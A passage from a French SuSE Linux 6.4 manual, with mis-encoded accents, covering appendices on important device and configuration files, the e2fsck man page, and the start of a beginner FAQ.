  33710. Le fichier le plus important dans votre systΦme est le +  noyau lui-mΩme. Il se
  33711. trouve dans le rΘpertoire /boot sous le nom de fichier vmlinuz.
  33712.  
  33713.  
  33714.  
  33715. D.1        Fichiers de pΘriphΘriques dans le rΘpertoire /dev
  33716.  
  33717. Disquettes et disques durs1  :
  33718.  
  33719.        ______________________________________________________________________________________________________________________
  33720.  
  33721.    /dev/fd0                                    premier lecteur de disquettes
  33722.    /dev/fd1                                    deuxiΦme lecteur de disquettes
  33723.    /dev/hda                                    premier disque dur (E)IDE
  33724.    /dev/hda1 - /dev/hda15                      partitions du premier disque dur (E)IDE
  33725.    /dev/sda                                    premier disque dur SCSI
  33726.    /dev/sda1 - /dev/sda15                      partitions du premier disque dur SCSI
  33727.    /dev/sdb                                    deuxiΦme disque dur SCSI
  33728.    /dev/sdc                                    troisiΦme disque dur SCSI
  33729.  
  33730.        ______________________________________________________________________________________________________________________
  33731.  
  33732.     Tab. D.1: Aperτu des fichiers de pΘriphΘriques de la mΘmoire de masse
  33733.  
  33734. D.1.1       Lecteurs de CD-ROM
  33735.  
  33736.        ______________________________________________________________________________________________________________________
  33737.  
  33738.    /dev/cdrom                  lien sur le lecteur de CD-ROM utilisΘ, c'est-α-dire sur
  33739.                                l'un des fichiers suivants (crΘΘ par YaST )
  33740.    /dev/aztcd                  Aztech CDA268-01 CD-ROM
  33741.    /dev/cdu535                 Sony CDU-535 CD-ROM
  33742.    /dev/cm206cd                Philips CM206
  33743.    /dev/gscd0                  Goldstar R420 CD-ROM
  33744.    /dev/hda
  33745.  
  33746.        ______________________________________________________________________________________________________________________
  33747.  
  33748.        ___________________Tab._D.2:_Continuer_α_la_page_suivante..._
  33749. 1  Vous pouvez, en plus des fichiers de pΘriphΘriques mentionnΘs, crΘer vous-mΩme d'autres
  33750. fichiers. Vous trouverez des informations α ce sujet dans la page de man concernant mknod .
  33751.  
  33752.  
  33753.                                                                                                                                    *
  33754.  *   531
  33755. D.  Fichiers importants____________________________________________________________________________________________________________*
  33756.  *_______________________________________@
  33757.  
  33758.                             _______________________________________________________________________________________________________*
  33759.  *_________
  33760.  
  33761.  
  33762.                               jusqu'α                    ATAPI CD-ROM
  33763.                               /dev/hdd
  33764.                               /dev/lmscd                 Philips CM 205/250/206/260 CD-ROM
  33765.                               /dev/mcd                   Mitsumi CD-ROM
  33766.                               /dev/sbpcd0
  33767.                               jusqu'α                    CD-ROM sur carte Soundblaster
  33768.                               /dev/sbpcd3
  33769.                               /dev/scd0                  Lecteurs de CD-ROM SCSI
  33770.                               /dev/scd1
  33771.                               etc.
  33772.                               /dev/sonycd                CD-ROM Sony CDU 31a
  33773.                               /dev/sjcd                  CD-ROM Sanyo
  33774.                               /dev/optcd                 CD-ROM Optics Storage
  33775.  
  33776.                             _______________________________________________________________________________________________________*
  33777.  *_________
  33778.  
  33779.                               Tab. D.2: Aperτu des fichiers de pΘriphΘriques des lecteurs de CD-ROM
  33780.                            D.1.2       Lecteurs de bandes
  33781.  
  33782.                             _______________________________________________________________________________________________________*
  33783.  *_________
  33784.  
  33785.                               /dev/rmt0                 1er streamer SCSI ``rewinding'' (rembobinage automa-
  33786.                                                         tique)
  33787.                               /dev/nrmt0                1er streamer SCSI ``non rewinding''(sans rembobinage)
  33788.                               /dev/ftape                Floppy tape ``rewinding'' (rembobinage automatique)
  33789.                               /dev/nftape               Floppy tape ``non rewinding'' (sans rembobinage)
  33790.  
  33791.                             _______________________________________________________________________________________________________*
  33792.  *_________
  33793.  
  33794.                                Tab. D.3: Aperτu des fichiers de pΘriphΘriques pour lecteurs de bandes
  33795.                            D.1.3       Souris (Bus et PS/2)
  33796.  
  33797.                             _______________________________________________________________________________________________________*
  33798.  *_________
  33799.  
  33800.                               /dev/mouse                   Lien  pointant  sur  l'interface  utilisΘe  par  la  sou-
  33801.                                                            ris, c'est-α-dire sur l'un des pseudo-fichiers suivants
  33802.                                                            (pour les souris bus) ou sur une interface sΘrie (pour
  33803.                                                            les souris sΘrie) (crΘΘ par YaST ).
  33804.                               /dev/atibm                   Souris bus de la carte graphique ATI.
  33805.                               /dev/logibm                  Souris bus Logitech.
  33806.                               /dev/psaux                   Souris PS/2.
  33807.                               /dev/inportbm                Souris bus PS/2.
  33808.                               /dev/sunmouse                Souris SUN.
  33809.  
  33810.                             _______________________________________________________________________________________________________*
  33811.  *_________
  33812.  
  33813.                                       Tab. D.4: Aperτu des fichiers de pΘriphΘriques pour les souris
  33814. 532
  33815.        _______________________________________________D.1.__Fichiers_de_pΘriphΘriques_dans_le_rΘpertoire_/dev______________________*
  33816.  *______________________
  33817.  
  33818.  
  33819.  
  33820. D.1.4       Modem
  33821.        ______________________________________________________________________________________________________________________
  33822.  
  33823.  
  33824.    /dev/modem              Lien sur le port COM du modem (crΘΘ par YaST )
  33825.  
  33826.        ______________________________________________________________________________________________________________________
  33827.  
  33828.                     Tab. D.5: Fichier de pΘriphΘrique pour le modem
  33829. D.1.5       Interfaces sΘrie
  33830.  
  33831.        ______________________________________________________________________________________________________________________
  33832.  
  33833.    /dev/ttyS0              interfaces sΘrie 0 α 3
  33834.    bis                     (COM1 bis COM4) ;
  33835.    /dev/ttyS3              jusqu'α ttyS63
  33836.    etc.
  33837.    /dev/cua0               depuis la version 2.2.x du noyau,
  33838.    /dev/cua3               ces interfaces sΘrie sont obsolΦtes
  33839.    etc.                    obsolΦte depuis le noyau 2.2.x
  33840.  
  33841.        ______________________________________________________________________________________________________________________
  33842.  
  33843.                Tab. D.6: Fichiers de pΘriphΘriques pour interfaces sΘrie
  33844. D.1.6       Interfaces parallΦles
  33845.  
  33846.        ______________________________________________________________________________________________________________________
  33847.  
  33848.    /dev/lp0
  33849.    jusqu'α             interfaces parallΦles (LPT1 α LPT3)
  33850.    /dev/lp2
  33851.  
  33852.        ______________________________________________________________________________________________________________________
  33853.  
  33854.     Tab. D.7: Fichiers de pΘriphΘriques pour imprimantes sur port parallΦle
  33855.                                                                                                                                    *
  33856.  *   533
  33857. D.  Fichiers importants____________________________________________________________________________________________________________*
  33858.  *_______________________________________@
  33859.  
  33860.  
  33861.  
  33862.                            D.1.7       PΘriphΘriques spΘciaux
  33863.                             _______________________________________________________________________________________________________*
  33864.  *_________
  33865.  
  33866.  
  33867.                               /dev/null             ``avale'' autant de donnΘes que vous dΘsirez (poubelle)
  33868.                               /dev/tty1
  33869.                               jusqu'α               consoles virtuelles
  33870.                               /dev/tty8
  33871.                               /dev/zero             fournit autant d'octets de valeur zΘro que vous dΘsirez
  33872.  
  33873.                             _______________________________________________________________________________________________________*
  33874.  *_________
  33875.  
  33876.                                           Tab. D.8: Fichiers pour pΘriphΘriques spΘciaux/virtuels
  33877.                            D.2        Fichiers de configuration dans /etc
  33878.  
  33879.  
  33880.                             _______________________________________________________________________________________________________*
  33881.  *_________
  33882.  
  33883.                               /etc/                                Informations sur la version SuSE      Linux instal-
  33884.                               SuSE-release                         lΘe.
  33885.                               /etc/rc.config                       Fichier de configuration central du systΦme. Il
  33886.                                                                    est crΘΘ par YaST et lu par les scripts de dΘmar-
  33887.                                                                    rage de SuSEconfig .
  33888.                               /etc/rc.config.d                     RΘpertoire contenant d'autres fichiers avec des
  33889.                                                                    variables rc.config.
  33890.                               /etc/inittab                         Fichier   de   configuration   pour   le   processus
  33891.                                                                    init    .
  33892.                               /etc/lilo.conf                       Configuration de LILO
  33893.                               /etc/modules.conf                    Configuration des modules du noyau
  33894.                               /etc/DIR_COLORS                      DΘtermination des couleurs pour ls
  33895.                               /etc/XF86Config                      Configuration du systΦme X Window
  33896.                               /etc/fstab                           Table des systΦmes de fichiers montΘs automa-
  33897.                                                                    tiquement lors de l'initialisation du systΦme
  33898.                               /etc/profile                         Script de connexion des shells (sh , bash , etc.)
  33899.                               /etc/csh.login                       Script de connexion de tcsh
  33900.                               /etc/csh.cshrc                       ParamΘtrages par dΘfaut pour tcsh
  33901.                               /etc/profile.d                       RΘpertoire  dans  lequel  se  trouvent  des  exten-
  33902.                                                                    sions  pour  /etc/profile  ou     /etc/csh.
  33903.                                                                    cshrc
  33904.                               /etc/passwd                          Base de donnΘes des utilisateurs : Noms d'uti-
  33905.                                                                    lisateurs, rΘpertoires personnels (home) shell de
  33906.                                                                    connexion, numΘro d'identification de l'utilisa-
  33907.                                                                    teur
  33908.                               /etc/shadow                          Mots de passe
  33909.                               /etc/group                           Groupes d'utilisateurs
  33910.                               /etc/printcap                        Description  des  imprimantes  disponibles  dans
  33911.                                                                    le systΦme. UtilisΘ par le dΘmon lpd ( page 333).
  33912.  
  33913.                             _______________________________________________________________________________________________________*
  33914.  *_________
  33915.  
  33916.                                                      Tab. D.9: Continuer α la page suivante...
  33917.  
  33918. 534
  33919.        _________________D.3.__Fichiers_de_configuration_cachΘs_dans_le_rΘpertoire_personnel_(Home)_________________________________*
  33920.  *______________________
  33921.  
  33922.        ______________________________________________________________________________________________________________________
  33923.  
  33924.  
  33925.    /etc/hosts                           Association des noms de machines aux adresses
  33926.                                         IP (indispensable en l'absence d'un serveur de
  33927.                                         noms).
  33928.    /etc/inetd.conf                      DΘfinition des services IP mis α disposition (tel-
  33929.                                         net ,finger , ftp etc.).
  33930.    /etc/syslogd.conf                    Fichier de configuration pour le dΘmon Syslog
  33931.                                         dont  la  tΓche  consiste  α  signaler  certains  mes-
  33932.                                         sages du systΦme.
  33933.  
  33934.        ______________________________________________________________________________________________________________________
  33935.  
  33936.                       Tab. D.9: Fichiers de configuration dans /etc
  33937. D.3        Fichiers de configuration cachΘs dans le rΘpertoire per-
  33938.  
  33939.            sonnel (Home)
  33940.  
  33941. Dans le rΘpertoire personnel de chaque utilisateur, on trouve des fichiers de
  33942. configuration qui, pour des raisons pratiques, sont ``cachΘs''. Ils ne sont ΘditΘs
  33943. que  trΦs  rarement.  On  peut  transformer  tout  fichier  en  fichier  cachΘ  en  fai-
  33944. sant prΘcΘder son nom d'un point. On peut rendre ces fichiers visibles par la
  33945. commande ls  -a    . Quelques exemples se trouvent dans le tableau D.10.
  33946.  
  33947.        ______________________________________________________________________________________________________________________
  33948.  
  33949.    .profile                     Script personnel de connexion de l'utilisateur (pour
  33950.                                 bash)
  33951.    .bashrc                      Configuration de bash
  33952.    .exrc                        Configuration de vi, ex
  33953.    .xinitrc                     Script de dΘmarrage du systΦme X Window
  33954.    .fvwmrc                      Configuration du gestionnaire de fenΩtres fvwm
  33955.    .ctwmrc                      Configuration du gestionnaire de fenΩtres ctwm
  33956.    .openwin-menu                Configuration des gestionnaires de fenΩtres olvwm et
  33957.                                 olwm
  33958.  
  33959.        ______________________________________________________________________________________________________________________
  33960.  
  33961.      Tab. D.10: Fichiers cachΘs dans le rΘpertoire personnel de l'utilisateur
  33962. Ces fichiers sont copiΘs depuis le rΘpertoire /etc/skel lors de la crΘation
  33963. d'un compte utilisateur.
  33964.  
  33965.                                                                                                                                    *
  33966.  *   535
  33967. D.  Fichiers importants____________________________________________________________________________________________________________*
  33968.  *_______________________________________@
  33969.  
  33970. 536
  33971.  
  33972.                                                                                                             Annexe  E
  33973.                                         Page   de   manuel   de   e2fsck
  33974.  
  33975.  
  33976.        ||||||||                                                                                                                |
  33977.        ||||||||                                                                                                                |
  33978.        ||||||||                                                                                                                |
  33979.  
  33980.        _______________________________________________________________________________________________________________________||||
  33981.        |||||||| E2FSCK(8)                                                                         E2FSCK(8)                    |
  33982.        ||||||||                                                                                                                |
  33983.        ||||||||                                                                                                                |
  33984.        ||||||||                                                                                                                |
  33985.        |||||||| NAME                                                                                                           |
  33986.        ||||||||           e2fsck  -  check  a  Linux  second  extended  file  system                                           |
  33987.        ||||||||                                                                                                                |
  33988.        ||||||||                                                                                                                |
  33989.        |||||||| SYNOPSIS                                                                                                       |
  33990.        ||||||||           e2fsck   [   -pacnyrdfvstFSV  ]  [  -b  superblock  ]  [  -B  block-                                 |
  33991.        ||||||||           size  ]  [  -l|-L  bad_blocks_file  ]  device                                                        |
  33992.        ||||||||                                                                                                                |
  33993.        ||||||||                                                                                                                |
  33994.        |||||||| DESCRIPTION                                                                                                    |
  33995.        ||||||||           e2fsck  is  used  to  check  a  Linux  second  extended  file                                        |
  33996.        ||||||||           system.                                                                                              |
  33997.        ||||||||                                                                                                                |
  33998.        ||||||||                                                                                                                |
  33999.        ||||||||           device  is   the   special   file   corresponding  to  the  device                                   |
  34000.        ||||||||                      (e.g  /dev/hdXX).                                                                         |
  34001.        ||||||||                                                                                                                |
  34002.        ||||||||                                                                                                                |
  34003.        |||||||| OPTIONS                                                                                                        |
  34004.        ||||||||           -a        This  option  does  the  same  thing  as  the   -p   option.                               |
  34005.        ||||||||                      It  is  provided  for  backwards  compatibility  only;  it                                |
  34006.        ||||||||                      is  suggested  that  people  use  -p  option  whenever                                    |
  34007.        ||||||||                                                                                                                |
  34008.        ||||||||                      possible.                                                                                 |
  34009.        ||||||||                                                                                                                |
  34010.        ||||||||           -b  superblock                                                                                       |
  34011.        ||||||||                      Instead   of   using   the   normal  superblock,  use  the                                |
  34012.        ||||||||                                                                                                                |
  34013.        ||||||||                      alternative  superblock  specified  by  superblock.                                       |
  34014.        ||||||||                                                                                                                |
  34015.        ||||||||           -B  blocksize                                                                                        |
  34016.        ||||||||                      Normally,  e2fsck  will  search  for  the  superblock   at                                |
  34017.        ||||||||                                                                                                                |
  34018.        ||||||||                      various  different  block  sizes  in  an  attempt  to  find                               |
  34019.        ||||||||                      the  appropriate  block  size.     This   search   can   be                               |
  34020.        ||||||||                      fooled  in  some  cases.   This  option  forces  e2fsck  to                               |
  34021.        ||||||||                      only  try  locating  the  superblock   at   a   particular                                |
  34022.        ||||||||                                                                                                                |
  34023.        ||||||||                      blocksize.     If  the  superblock  is  not  found,  e2fsck                               |
  34024.        ||||||||                      will  terminate  with  a  fatal  error.                                                   |
  34025.        ||||||||                                                                                                                |
  34026.        ||||||||           -c        This  option  causes  e2fsck  to  run   the   badblocks(8)                                 |
  34027.        ||||||||                                                                                                                |
  34028.        ||||||||                      program   to   find   any   blocks  which  are  bad  on  the                              |
  34029.        ||||||||                      filesystem,  and  then  marks  them  as   bad   by   adding                               |
  34030.        ||||||||                      them  to  the  bad  block  inode.                                                         |
  34031.        ||||||||                                                                                                                |
  34032.        ||||||||                                                                                                                |
  34033.        ||||||||           -d        Print   debugging   output   (useless   unless   you  are                                  |
  34034.        ||||||||                      debugging  e2fsck  ).                                                                     |
  34035.        ||||||||_______________________________________________________________________________________________________________ |
  34036.  
  34037. ~ Continuer α la page suivante
  34038.  
  34039.  
  34040.                                                                                                                                    *
  34041.  *   537
  34042.                            |                                                                                                       *
  34043.  *         |
  34044.                            |                                                                                                       *
  34045.  *         |
  34046.                            |                                                                                                       *
  34047.  *         |
  34048. E.  Page de manuel_de_e2fsck_______________________________________________________________________________________________________*
  34049.  *_______________________________________@
  34050.  
  34051.                            ________________________________________________________________________________________________________*
  34052.  *________||||
  34053.                            |                                                                                                       *
  34054.  *         |
  34055.                            ||          -f        Force  checking  even  if  the  file  system  seems  clean.                       *
  34056.  *         ||
  34057.                            |                                                                                                       *
  34058.  *         |
  34059.                            |           -F        Flush   the  filesystem  device's  buffer  caches  before                         *
  34060.  *         |
  34061.                            |                      beginning.   Only  really   useful   for   doing   e2fsck                        *
  34062.  *         |
  34063.                            |                      time  trials.                                                                    *
  34064.  *         |
  34065.                            |                                                                                                       *
  34066.  *         |
  34067.                            |                                                                                                       *
  34068.  *         |
  34069.                            |           -l  filename                                                                                *
  34070.  *         |
  34071.                            |                      Add   the   blocks   listed   in   the  file  specified  by                      *
  34072.  *         |
  34073.                            |                      filename  to  the  list  of  bad  blocks.                                        *
  34074.  *         |
  34075.                            |                                                                                                       *
  34076.  *         |
  34077.                            |                                                                                                       *
  34078.  *         |
  34079.                            |           -L  filename                                                                                *
  34080.  *         |
  34081.                            |                      Set  the  bad  blocks  list  to  be  the   list   of   blocks                    *
  34082.  *         |
  34083.                            |                      specified  by  filename.   (This  option  is  the  same  as                      *
  34084.  *         |
  34085.                            |                                                                                                       *
  34086.  *         |
  34087.                            |                      the  -l   option,   except   the   bad   blocks   list   is                      *
  34088.  *         |
  34089.                            |                      cleared   before   the   blocks  listed  in  the  file  are                      *
  34090.  *         |
  34091.                            |                      added  to  the  bad  blocks  list.)                                              *
  34092.  *         |
  34093.                            |                                                                                                       *
  34094.  *         |
  34095.                            |                                                                                                       *
  34096.  *         |
  34097.                            |           -n        Open  the  filesystem  read-only,  and  assume  an  answer                        *
  34098.  *         |
  34099.                            |                      of   ``no''   to   all  questions.   Allows  e2fsck  to  be                      *
  34100.  *         |
  34101.                            |                      used  non-interactively.   (Note:  if  the  -c,   -l,   or                       *
  34102.  *         |
  34103.                            |                                                                                                       *
  34104.  *         |
  34105.                            |                      -L   options   are   specified   in   addition  to  the  -n                      *
  34106.  *         |
  34107.                            |                      option,  then  the  filesystem  will   be   opened   read-                       *
  34108.  *         |
  34109.                            |                      write,  to  permit  the  bad-blocks  list  to  be  updated.                      *
  34110.  *         |
  34111.                            |                      However,  no  other   changes   will   be   made   to   the                      *
  34112.  *         |
  34113.                            |                                                                                                       *
  34114.  *         |
  34115.                            |                      filesystem.)                                                                     *
  34116.  *         |
  34117.                            |                                                                                                       *
  34118.  *         |
  34119.                            |           -p        Automatically   repair   ("preen")   the   file   system                          *
  34120.  *         |
  34121.                            |                      without  any  questions.                                                         *
  34122.  *         |
  34123.                            |                                                                                                       *
  34124.  *         |
  34125.                            |                                                                                                       *
  34126.  *         |
  34127.                            |           -r        This  option  does  nothing  at   all;   it   is   provided                       *
  34128.  *         |
  34129.                            |                      only  for  backwards  compatibility.                                             *
  34130.  *         |
  34131.                            |                                                                                                       *
  34132.  *         |
  34133.                            |                                                                                                       *
  34134.  *         |
  34135.                            |                      -s   This   option   will   byte-swap  the  filesystem  so                       *
  34136.  *         |
  34137.                            |                      that  it  is  using   the   normalized,   standard   byte-                       *
  34138.  *         |
  34139.                            |                      order   (which   is   i386   or  little  endian).   If  the                      *
  34140.  *         |
  34141.                            |                      filesystem  is  already  in  the   standard   byte-order,                        *
  34142.  *         |
  34143.                            |                                                                                                       *
  34144.  *         |
  34145.                            |                      e2fsck  will  take  no  action.                                                  *
  34146.  *         |
  34147.                            |                                                                                                       *
  34148.  *         |
  34149.                            |           -S        This   option  will  byte-swap  the  filesystem,  regard-                         *
  34150.  *         |
  34151.                            |                      less  of  its  current  byte-order.                                              *
  34152.  *         |
  34153.                            |                                                                                                       *
  34154.  *         |
  34155.                            |                                                                                                       *
  34156.  *         |
  34157.                            |           -t        Print  timing  statistics  for  e2fsck.   If  this  option                        *
  34158.  *         |
  34159.                            |                      is   used   twice,   additional   timing  statistics  are                        *
  34160.  *         |
  34161.                            |                      printed  on  a  pass  by  pass  basis.                                           *
  34162.  *         |
  34163.                            |                                                                                                       *
  34164.  *         |
  34165.                            |                                                                                                       *
  34166.  *         |
  34167.                            |           -v        Verbose  mode.                                                                    *
  34168.  *         |
  34169.                            |                                                                                                       *
  34170.  *         |
  34171.                            |           -V        Print  version  information  and  exit.                                           *
  34172.  *         |
  34173.                            |                                                                                                       *
  34174.  *         |
  34175.                            |                                                                                                       *
  34176.  *         |
  34177.                            |           -y        Assume  an   answer   of   ``yes''   to   all   questions;                        *
  34178.  *         |
  34179.                            |                      allows  e2fsck  to  be  used  non-interactively.                                 *
  34180.  *         |
  34181.                            |                                                                                                       *
  34182.  *         |
  34183.                            |                                                                                                       *
  34184.  *         |
  34185.                            | EXIT  CODE                                                                                            *
  34186.  *         |
  34187.                            |           The  exit  code  returned  by  e2fsck  is  the  sum  of  the                                *
  34188.  *         |
  34189.                            |           following  conditions:                                                                      *
  34190.  *         |
  34191.                            |                                                                                                       *
  34192.  *         |
  34193.                            |                   0      -  No  errors                                                                *
  34194.  *         |
  34195.                            |                   1      -  File  system  errors  corrected                                           *
  34196.  *         |
  34197.                            |                   2      -  File  system  errors  corrected,  system  should                          *
  34198.  *         |
  34199.                            |_______________________________________________________________________________________________________*
  34200.  *________ |
  34201.  
  34202.                            ~ Continuer α la page suivante
  34203.  
  34204.  
  34205. 538
  34206. ||||||||                                                                                                                |
  34207. _______________________________________________________________________________________E.__Page_de_manuel_de_e2fsck________________*
  34208.  *_______________||||
  34209. ||||||||                                                                                                                |
  34210. _______________________________________________________________________________________________________________________||
  34211. ||||||||                              be  rebooted  if  file  system  was  mounted                                      |
  34212. ||||||||                                                                                                                |
  34213. ||||||||                   4      -  File  system  errors  left  uncorrected                                            |
  34214. ||||||||                   8      -  Operational  error                                                                 |
  34215. ||||||||                   16     -  Usage  or  syntax  error                                                           |
  34216. ||||||||                   128   -  Shared  library  error                                                              |
  34217. ||||||||                                                                                                                |
  34218. ||||||||                                                                                                                |
  34219. |||||||| REPORTING  BUGS                                                                                                |
  34220. ||||||||           Almost  any  piece  of  software   will  have  bugs.   If   you                                      |
  34221. ||||||||           manage   to  find  a  filesystem  which  causes  e2fsck  to  crash,                                  |
  34222. ||||||||                                                                                                                |
  34223. ||||||||           or  which   e2fsck   is  unable  to  repair,  please  report  it  to                                 |
  34224. ||||||||           the  author.                                                                                         |
  34225. ||||||||                                                                                                                |
  34226. ||||||||           Please  include  as  much  information  as  possible  in  your  bug                                  |
  34227. ||||||||                                                                                                                |
  34228. ||||||||           report.   Ideally,  include  a   complete   transcript   of   the                                    |
  34229. ||||||||           e2fsck   run,   so  I  can  see  exactly  what  error  messages  are                                 |
  34230. ||||||||           displayed.   If  you  have  a  writeable  filesystem   where   the                                   |
  34231. ||||||||           transcript  can  be  stored,  the  script(1)  program  is  a  handy                                  |
  34232. ||||||||                                                                                                                |
  34233. ||||||||           way  to  save  the  output  of  to  a  file.                                                         |
  34234. ||||||||                                                                                                                |
  34235. ||||||||           It  is  also  useful  to  send  the  output  of  dumpe2fs(8).   If  a                                |
  34236. ||||||||                                                                                                                |
  34237. ||||||||           specific   inode   or   inodes   seems  to  be  giving  e2fsck                                       |
  34238. ||||||||           trouble,  try  running  the  debugfs(8)  command  and  send  the                                     |
  34239. ||||||||           output   of  the  stat  command  run  on  the  relevant  inode(s).                                   |
  34240. ||||||||           If  the  inode  is  a  directory,  the  debugfs   dump   command                                     |
  34241. ||||||||                                                                                                                |
  34242. ||||||||           will  allow  you  to  extract  the  contents  of  the  directory                                     |
  34243. ||||||||           inode,  which  can  sent  to  me  after  being  first  run   through                                 |
  34244. ||||||||           uuencode(1).                                                                                         |
  34245. ||||||||                                                                                                                |
  34246. ||||||||                                                                                                                |
  34247. ||||||||           Always   include   the  full  version  string  which   e2fsck                                        |
  34248. ||||||||           displays  when  it  is  run,  so  I  know  which  version  you  are                                  |
  34249. ||||||||           running.                                                                                             |
  34250. ||||||||                                                                                                                |
  34251. ||||||||                                                                                                                |
  34252. |||||||| AUTHOR                                                                                                         |
  34253. ||||||||           This   version   of   e2fsck   is   written   by   Theodore   Ts'o                                   |
  34254. ||||||||           <tytso@mit.edu>.                                                                                     |
  34255. ||||||||                                                                                                                |
  34256. ||||||||                                                                                                                |
  34257. |||||||| SEE  ALSO                                                                                                      |
  34258. ||||||||           mke2fs(8),  tune2fs(8),  dumpe2fs(8),  debugfs(8)                                                    |
  34259. ||||||||                                                                                                                |
  34260. ||||||||                                                                                                                |
  34261. ||||||||                                                                                                                |
  34262. |||||||| E2fsprogs  version  1.06        October  1996                                                                  |
  34263. ||||||||_______________________________________________________________________________________________________________ |
  34264.  
  34265.                                                                                                                                539
  34266. E.  Page de manuel_de_e2fsck_______________________________________________________________________________________________________*
  34267.  *_______________________________________@
  34268.  
  34269. 540
  34270.  
  34271.                                                                                                             Annexe  F
  34272.                                                 La   FAQ   de   SuSE                   Linux
  34273.  
  34274.  
  34275. Nous allons tenter ici d'apporter une rΘponse aux questions les plus frΘquem-
  34276. ment posΘes (angl. Frequently Asked Questions). Bien qu'il soit possible de
  34277. trouver dans le manuel une rΘponse appropriΘe α presque toutes les questions,
  34278. il n'est pas toujours facile ~ surtout pour les utilisateurs encore peu familia-
  34279. risΘs  avec  Linux  ~  de  deviner  vers  quel  chapitre  se  diriger.  C'est  pourquoi
  34280. nous mentionnons, pour la plupart des rΘponses, le chapitre correspondant du
  34281. manuel.
  34282.  
  34283.  
  34284.  
  34285. J'ai un vieux SuSE      Linux ~ comment le mettre α jour vers 6.4 ?
  34286.  
  34287. La voie la plus directe conduit au chapitre 15 page 403 et pages suivantes du
  34288. manuel.
  34289.  
  34290.  
  34291.  
  34292. Quel est le chapitre le plus important du manuel ?
  34293.  
  34294. Pour  les  dΘbutants  c'est  sans  aucun  doute  le  chapitre  19  page  481.  Il  ne
  34295. remplace cependant un livre sur Linux ! Vous trouverez des livres relatifs α
  34296. Linux sous http://www.suse.de/de/produkte/buecher/.
  34297.  
  34298.  
  34299.  
  34300. AprΦs l'installation je reτois toujours le message d'erreur "login  :" ~
  34301. Quel genre d'erreur ai-je fait ?
  34302.  
  34303. Vous  n'avez  fait  aucune  erreur,  l'installation  est  terminΘe  et  vous  pouvez
  34304. vous connecter α votre machine avec votre nom d'utilisateur (angl. username)
  34305. et  votre  mot  de  passe  (``login'').  Dans  un  premier  temps,  le  seul  utilisateur
  34306. existant est `root'. Voir α ce sujet le paragraphe 19.1 page 482 ainsi que le
  34307. paragraphe 3.6.7 page 111.
  34308.  
  34309.  
  34310.  
  34311. Je me suis connectΘ mais je ne vois que terre:  #   ~ Comment puis-je
  34312. ``entrer'' sous Linux ?
  34313.  
  34314. Vous Ωtes dejα sous Linux. Vous voulez probablement lancer l'interface gra-
  34315. phique. Pour cela, vous devez d'abord la configurer (par exemple avec SaX ),
  34316. dans  le  cas  o∙  cela  n'a  pas  dΘjα  ΘtΘ  fait  au  cours  de  l'installation  (para-
  34317. graphe  2.1.14  page  26).  DΘmarrez  ensuite  le  systΦme  graphique  (systΦme
  34318. X  Window)  avec  startx     .  ProcΘdez  de  la  maniΦre  dΘcrite  au  chapitre  8
  34319. page 239 et pages suivantes.
  34320.  
  34321.  
  34322.  
  34323.                                                                                                                                    *
  34324.  *   541
  34325. F.  La FAQ de SuSE______Linux______________________________________________________________________________________________________*
  34326.  *_______________________________________@
  34327.  
  34328.  
  34329.  
  34330.                            Je  suis  seul  α  utiliser  ma  machine.  Pourquoi  faut-il  toujours  faire  un
  34331.                            login ?
  34332.  
  34333.                            Linux est un systΦme multiutilisateur. La spΘcification du nom d'utilisateur
  34334.                            (angl. username) et du mot de passe est nΘcessaire afin que Linux sache qui
  34335.                            travaille sur le systΦme. Vous ne devriez cependant travailler sous le compte
  34336.                            `root' que lorsque vous avez des modifications α apporter au systΦme (in-
  34337.                            stallation  de  logiciels,  configurations,  etc.).  Pour  les  tΓches  quotidiennes,
  34338.                            crΘez  un  compte  utilisateur  sous  lequel  vous  pourrez  travailler  sans  risquer
  34339.                            de dΘtruire quoi que ce soit dans votre installation.
  34340.  
  34341.  
  34342.  
  34343.                            Dois-je compiler moi-mΩme un noyau ?
  34344.  
  34345.  
  34346.                            Non, dans la majeure partie des cas ce n'est pas nΘcessaire !
  34347.  
  34348.                            Le noyau a maintenant atteint un tel volume qu'il vous faudrait tenir compte
  34349.                            d'environ  800  options  lors  de  la  configuration !  Comme  il  est  Θvidemment
  34350.                            impossible  de  maεtriser  toutes  ces  diffΘrentes  configurations  et  de  prΘvoir
  34351.                            tous les effets qu'elles peuvent entraεner, nous dΘconseillons trΦs fortement
  34352.                            aux  utilisateurs  encore  peu  aguerris  de  recompiler  le  noyau.  Si  vous  tenez
  34353.                            malgrΘ tout α le faire, vous agissez α vos risques et pΘrils ~ et nous n'offrons
  34354.                            pas non plus dans un tel cas d'assistance α l'installation !
  34355.  
  34356.  
  34357.  
  34358.                            Mais pour le support du son il me faut quand mΩme construire un noyau
  34359.                            personnalisΘ ?
  34360.  
  34361.  
  34362.                            Non, depuis le noyau 2.2.x ce n'est plus nΘcessaire. ProcΘdez de la maniΦre
  34363.                            dΘcrite au paragraphe 10.3 page 296 et pages suivantes.
  34364.  
  34365.  
  34366.  
  34367.                            O∙ puis-je obtenir des infos sur SuSE      Linux ?
  34368.  
  34369.  
  34370.                            En tout premier lieu dans le manuel s'il s'agit de questions relatives α l'instal-
  34371.                            lation ou α certaines particularitΘs de SuSE     Linux. Au sujet des programmes,
  34372.                            vous trouverez une documentation dans /usr/doc/packages et des instruc-
  34373.                            tions dans les ``HowTo'' sous /usr/doc/howto/fr pour les HowTo en fran-
  34374.                            τais et sous /usr/doc/howto/en pour les HowTo en anglais. Vous pourrez
  34375.                            les lire par exemple avec
  34376.                            less  /usr/doc/howto/fr/DOS-Win-to-Linux-HOWTO.gz
  34377.  
  34378.                            Sous  KDE,  vous  pouvez  aussi  lire  les  fichiers  α  l'aide  du  gestionnaire  de
  34379.                            fichiers kfm   . Il suffit de cliquer et d'entrer la commande kedit      en rΘponse α
  34380.                            la question "ouvrir  avec  :"
  34381.  
  34382.  
  34383.  
  34384.                            O∙ trouver quelques astuces particuliΦres ou quelques textes d'aide ?
  34385.  
  34386.  
  34387.                            Tapez  dans  un  xterm      la  commande  susehelp         qui  dΘmarre  un  Netscape.
  34388.                            Sur Internet vous trouverez notre base de donnΘes support avec les derniΦres
  34389.                            mises α jour sous http://sdb.suse.de/sdb/en/html/index.html. En-
  34390.                            trez un mot-clΘ ou faites votre recherche α l'aide de l'``historique''.
  34391.  
  34392.  
  34393.  
  34394. 542
  34395.        ___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____*
  34396.  *______________________
  34397.  
  34398.  
  34399.  
  34400. Comment puis-je lancer des commandes sous KDE ?
  34401. Appuyez sur `K' ~ `Outils' ~ `Terminal'. Vous pouvez aussi appuyer sur
  34402.        ||||||||_    ___
